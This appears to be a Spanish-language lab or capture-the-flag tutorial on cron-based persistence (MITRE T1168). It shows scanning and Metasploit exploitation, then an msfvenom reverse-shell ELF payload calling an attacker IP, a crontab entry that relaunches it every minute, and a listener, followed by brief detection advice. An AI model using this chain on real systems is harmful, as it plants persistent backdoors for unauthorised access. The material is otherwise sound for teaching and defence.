⏰ T1168 — Persistencia mediante Cron Jobs
Cron es el planificador de tareas estándar en sistemas Unix/Linux. Permite ejecutar comandos o scripts de forma automática en intervalos definidos. Un atacante puede aprovechar crontab para configurar un payload que se ejecute periódicamente, garantizando acceso continuo aunque el proceso sea terminado.
Técnica MITRE ATT&CK: T1168 - Local Job Scheduling. Táctica: TA0003 - Persistence. Esta técnica se aplica también en macOS con launchd.
Sintaxis de crontab
| Campo | Valores | Descripción |
|---|---|---|
| Minuto | 0-59 / * | Minuto de ejecución |
| Hora | 0-23 / * | Hora de ejecución |
| Día del mes | 1-31 / * | Día del mes |
| Mes | 1-12 / * | Mes del año |
| Día de la semana | 0-6 / * | 0=Domingo |
🔍 Fase 1 — Reconocimiento y acceso inicial
Escaneo y explotación
nmap -sS -sV <IP>
msfconsole -q
# Usar exploit adecuado según servicio vulnerable
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
🧰 Fase 2 — Crear payload y cron job
Generar payload ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=<IP_atacante> LPORT=4444 \
-f elf > backdoor.elf
Subir payload a la víctima
# Desde la sesión Meterpreter:
upload backdoor.elf /tmp/backdoor.elf
shell
chmod +x /tmp/backdoor.elf
Configurar cron job persistente
# Editar crontab del usuario actual
crontab -e
# Añadir la siguiente línea (ejecuta cada minuto):
* * * * * /tmp/backdoor.elf
# Verificar:
crontab -l
El payload debe seguir existiendo en la ruta configurada para que el cron job funcione. Usar rutas persistentes como /tmp puede ser problemático tras reinicios. Preferir /var/tmp o /usr/local/bin.
📶 Fase 3 — Configurar listener y verificar
Listener persistente en el atacante
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST <IP_atacante>
set LPORT 4444
# ExitOnSession false para aceptar múltiples conexiones
set ExitOnSession false
exploit -j
Obtener la flag
find / -name flag* 2>/dev/null
cat /ruta/de/la/flag
📋 Flujo del ataque
1
ReconocimientoEscanear puertos y detectar servicio vulnerable.
2
ExplotaciónObtener shell Meterpreter Linux.
3
PreparaciónGenerar payload ELF con msfvenom.
4
PersistenciaSubir payload y configurar crontab para ejecución periódica.
5
Acceso futuroEl cron job reconecta automáticamente al listener.
🧠 Conceptos clave
- crontab -e: Edita las tareas programadas del usuario actual.
- * * * * *: Ejecuta el comando cada minuto (máxima frecuencia de cron).
- ExitOnSession false: Permite al handler aceptar múltiples sesiones entrantes.
- ELF (Executable and Linkable Format): Formato de ejecutables en Linux, equivalente a .exe en Windows.
- Detección: Monitorizar crontab con herramientas como auditd o AIDE. Los SIEM pueden alertar sobre nuevas entradas en cron.